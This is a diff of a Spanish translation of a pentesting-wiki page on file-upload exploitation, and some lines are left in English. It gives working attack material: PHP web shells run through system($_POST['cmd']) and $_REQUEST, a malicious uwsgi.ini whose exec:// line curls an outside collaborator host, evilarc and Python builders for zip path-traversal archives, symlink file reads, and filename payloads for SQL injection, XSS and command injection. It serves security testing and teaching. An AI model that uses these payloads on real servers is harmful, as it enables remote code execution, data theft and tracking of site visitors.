```php
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
|
||||
@ -1,13 +1,13 @@
|
||||
# Carga de archivos
|
||||
# Subida de archivos
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metodología general de carga de archivos
|
||||
## Metodología general de subida de archivos
|
||||
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -15,13 +15,13 @@ Other useful extensions:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Bypass file extensions checks
|
||||
### Evasión de comprobaciones de extensiones de archivo
|
||||
|
||||
1. Si aplican, **comprueba** las **extensiones anteriores**. También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Comprueba **añadir una extensión válida antes** de la extensión de ejecución (usa las extensiones anteriores también):_
|
||||
1. Si aplican, **revisa** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Prueba **añadir una extensión válida antes** de la extensión ejecutable (usa las extensiones anteriores también):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforcear** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
|
||||
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforcear** todos los caracteres **ascii** y **Unicode**. (_Nota que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Other useful extensions:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Intenta eludir las protecciones **engañando al parser de extensiones** del servidor con técnicas como **duplicar** la **extensión** o **añadir basura** (**null** bytes) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
|
||||
4. Intenta evadir las protecciones **engañando al parser de extensiones** del servidor usando técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones** anteriores para preparar un payload mejor._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,12 +40,12 @@ Other useful extensions:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Añade **otra capa de extensiones** a la comprobación previa:
|
||||
5. Añade **otra capa de extensiones** a las comprobaciones previas:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Intenta poner la **extensión de ejecución antes** de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con la extensión **.php**, aunque no termine necesariamente en .php, ejecutará código):
|
||||
6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza a que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, pero **no necesariamente terminada en .php**, ejecutará código):
|
||||
- _ex: file.php.png_
|
||||
7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también puede ser útil para eludir restricciones adicionales (p. ej. "file.asp::$data.”)
|
||||
7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg"). Este archivo podría ser editado más tarde usando otras técnicas como su nombre corto. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también podría ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”)
|
||||
8. Intenta romper los límites de nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -59,46 +59,46 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
### Evasión de Content-Type, Magic Number, Compresión y Redimensionado
|
||||
|
||||
- Bypass **Content-Type** checks configurando el **valor** del **header** **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Evade las comprobaciones de **Content-Type** estableciendo el **valor** del **header Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass **magic number** check añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadata**:\
|
||||
- Evade la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` o también podrías **introducir el payload directamente** en una imagen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Si **se está aplicando compresión** a tu imagen, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, puedes usar el chunk PLTE [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
|
||||
- Si **se aplica compresión** a tu imagen, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, puedes usar el chunk IDAT [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
|
||||
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Otra técnica para crear un payload que **sobreviva a un redimensionado** de imagen, usando la función PHP-GD `thumbnailImage`. También puedes usar el chunk tEXt [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
|
||||
- Otra técnica para crear un payload que **sobreviva un redimensionado de imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **resista la compresión**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Otros trucos a comprobar
|
||||
### Otras técnicas para comprobar
|
||||
|
||||
- Encuentra una vulnerabilidad que permita **renombrar** el archivo ya subido (para cambiar la extensión).
|
||||
- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
|
||||
- Encuentra una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor.
|
||||
- **Posible divulgación de información**:
|
||||
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
|
||||
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
|
||||
3. Subir un archivo con **"." , "..", o "..." como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en "/www/uploads/" directory, el filename "." creará un archivo llamado "uploads" en el directorio "/www/".
|
||||
4. Sube un archivo que no pueda ser borrado fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
|
||||
2. Sube un archivo con el **nombre** de un **archivo** o **directorio** que **ya existe**
|
||||
3. Subir un archivo con **"." , ".." o "..." como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/", el nombre "." creará un archivo llamado "uploads" en el directorio "/www/".
|
||||
4. Sube un archivo que no pueda borrarse fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
|
||||
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
|
||||
6. Sube un archivo en **Windows** usando nombres reservados (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
|
||||
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima.
|
||||
6. Sube un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
|
||||
- Prueba también a **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima.
|
||||
|
||||
### Special extension tricks
|
||||
### Trucos especiales de extensión
|
||||
|
||||
Si intentas subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si intentas subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **ser usados como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...)
|
||||
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **usarse como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...)
|
||||
|
||||
La extensión `.inc` a veces se usa para archivos php que solo sirven para **importar archivos**, por lo que, en algún punto, alguien podría haber permitido que **esta extensión se ejecute**.
|
||||
La extensión `.inc` a veces se usa para archivos php que solo se usan para **importar archivos**, así que, en algún punto, alguien podría haber permitido **que esta extensión se ejecute**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si puedes subir un archivo XML a un servidor Jetty puedes obtener RCE porque los nuevos \*.xml y \*.war son procesados automáticamente. So, as mentioned in the following image, sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -106,9 +106,9 @@ Si puedes subir un archivo XML a un servidor Jetty puedes obtener RCE porque los
|
||||
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI utilizan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta característica puede manipularse con fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración `.ini`.
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
|
||||
Considera el siguiente ejemplo de un archivo `uwsgi.ini` malicioso, mostrando varios schemes:
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea analizada, el proceso uWSGI debe reiniciarse (potencialmente después de un crash o debido a un ataque Denial of Service) o el archivo debe estar configurado para auto-reload. La característica auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
|
||||
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe reiniciarse (potencialmente tras un fallo o debido a un Denial of Service attack) o el archivo debe configurarse en auto-reload. La funcionalidad de auto-reload, si está activada, recarga el archivo en intervalos especificados al detectar cambios.
|
||||
|
||||
Es crucial entender la laxitud del análisis de los archivos de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (como una imagen o PDF), ampliando así el alcance de la posible explotación.
|
||||
Es crucial entender la naturaleza laxa del análisis de los archivos de configuración de uWSGI. Específicamente, el payload discutido puede insertarse en un archivo binario (como una imagen o un PDF), ampliando así el alcance de la explotación posible.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **wget Subida de archivos/SSRF Truco**
|
||||
|
||||
En algunas ocasiones puede ocurrir que un servidor esté usando **`wget`** para **descargar archivos** y puedas **indicar** la **URL**. En esos casos, el código puede comprobar que la extensión de los archivos descargados esté dentro de una whitelist para asegurar que solo se van a descargar archivos permitidos. Sin embargo, **esta check puede ser bypassed.**\
|
||||
La **longitud máxima** de un **filename** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **download a file called "A"\*232+".php"+".gif"**, este filename va a **bypass** la **comprobación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` va a **rename** el archivo a **"A"\*232+".php"**.
|
||||
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se van a descargar archivos permitidos. Sin embargo, **esta comprobación puede ser eludida.**\
|
||||
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, `wget` trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **pasará** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Ten en cuenta que **otra opción** que podrías estar pensando para evitar este chequeo es hacer que el **HTTP server redirija a un fichero diferente**, de modo que la URL inicial pasará el chequeo pero luego wget descargará el fichero redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del fichero indicado en la URL original**.
|
||||
Ten en cuenta que **otra opción** que podrías estar considerando para evadir esta comprobación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial pase la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
|
||||
|
||||
## Tools
|
||||
## Herramientas
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para asistir a Pentesters y Bug Hunters en la prueba de mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar los mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
### Corrompiendo índices de upload con peculiaridades de snprintf (histórico)
|
||||
|
||||
Algunos handlers de upload legados que usan `snprintf()` o similares para construir arrays de multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una single upload cuidadosamente construida puede parecer múltiples ficheros indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una multi-file upload y tomando ramas inseguras). Aunque hoy en día es algo niche, este patrón de “index corruption” reaparece ocasionalmente en CTFs y bases de código antiguas.
|
||||
Algunos legacy upload handlers que usan `snprintf()` o similar para construir arrays multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una single upload cuidadosamente creada puede aparecer como múltiples archivos indexados en el servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándolo como una multi-file upload y tomando ramas inseguras). Aunque hoy es poco común, este patrón de “index corruption” ocasionalmente resurge en CTFs y bases de código antiguas.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Establece **filename** en `../../../tmp/lol.png` e intenta lograr un **path traversal**
|
||||
- Establece **filename** en `sleep(10)-- -.jpg` y puede que consigas una **SQL injection**
|
||||
- Establece **filename** en `<svg onload=alert(document.domain)>` para lograr un **XSS**
|
||||
- Establece **filename** en `; sleep 10;` para probar alguna command injection (más [command injections tricks here](../command-injection.md))
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Prueba **different svg payloads** desde [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Prueba **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Si puedes **indicar al web server que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esa **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||
- Si puedes **indicar al servidor web que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **saved** en algún sitio **public**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs especialmente creados para XSS: La [siguiente página muestra cómo **inyectar datos en un PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
|
||||
- Sube el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
|
||||
- PDFs especialmente craftados para XSS: La [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
|
||||
- Sube el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content para comprobar si el servidor tiene algún **antivirus**
|
||||
- Comprueba si existe algún **size limit** al subir archivos
|
||||
|
||||
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo ficheros (desde [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -204,20 +204,20 @@ Aquí tienes una lista top 10 de cosas que puedes lograr subiendo ficheros (desd
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magic Header Bytes
|
||||
## Bytes mágicos de cabecera
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de fichero.
|
||||
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivo.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Subida de ZIP/TAR descomprimida automáticamente
|
||||
|
||||
Si puedes subir un ZIP que vaya a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
|
||||
Si puedes subir un ZIP que va a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
|
||||
|
||||
### Symlink
|
||||
|
||||
Sube un link que contenga soft links a otros ficheros, entonces, accediendo a los ficheros descomprimidos accederás a los ficheros enlazados:
|
||||
Sube un ZIP que contenga symlinks (soft links) a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -225,18 +225,18 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Descomprimir en diferentes carpetas
|
||||
|
||||
La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos OS-level mediante subidas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir las restricciones y escapar de los secure upload directories manipulando la funcionalidad de descompresión de la aplicación objetivo.
|
||||
La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos OS-level a través de uploads de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir las restricciones y escapar de los directorios de upload seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
|
||||
|
||||
Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra:
|
||||
Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede usarse como se muestra:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en tu sistema. Esto garantiza que evilarc no encuentre errores durante su funcionamiento.
|
||||
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
|
||||
|
||||
A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso:
|
||||
A continuación se muestra un ejemplo de código Python usado para crear un archivo zip malicioso:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -258,7 +258,7 @@ create_zip()
|
||||
|
||||
Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos enviados a través de la variable `$_REQUEST`.
|
||||
1. **Creando un PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -268,14 +268,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: Se crean múltiples archivos y se genera un archivo zip que los contiene.
|
||||
2. **File Spraying y creación de archivos comprimidos**: Se crean múltiples archivos y se arma un archivo zip que contiene estos archivos.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: Los nombres de los archivos dentro del zip se modifican usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios.
|
||||
3. **Modificación con un Hex Editor o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un Hex Editor, cambiando "xxA" por "../" para atravesar directorios.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -285,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
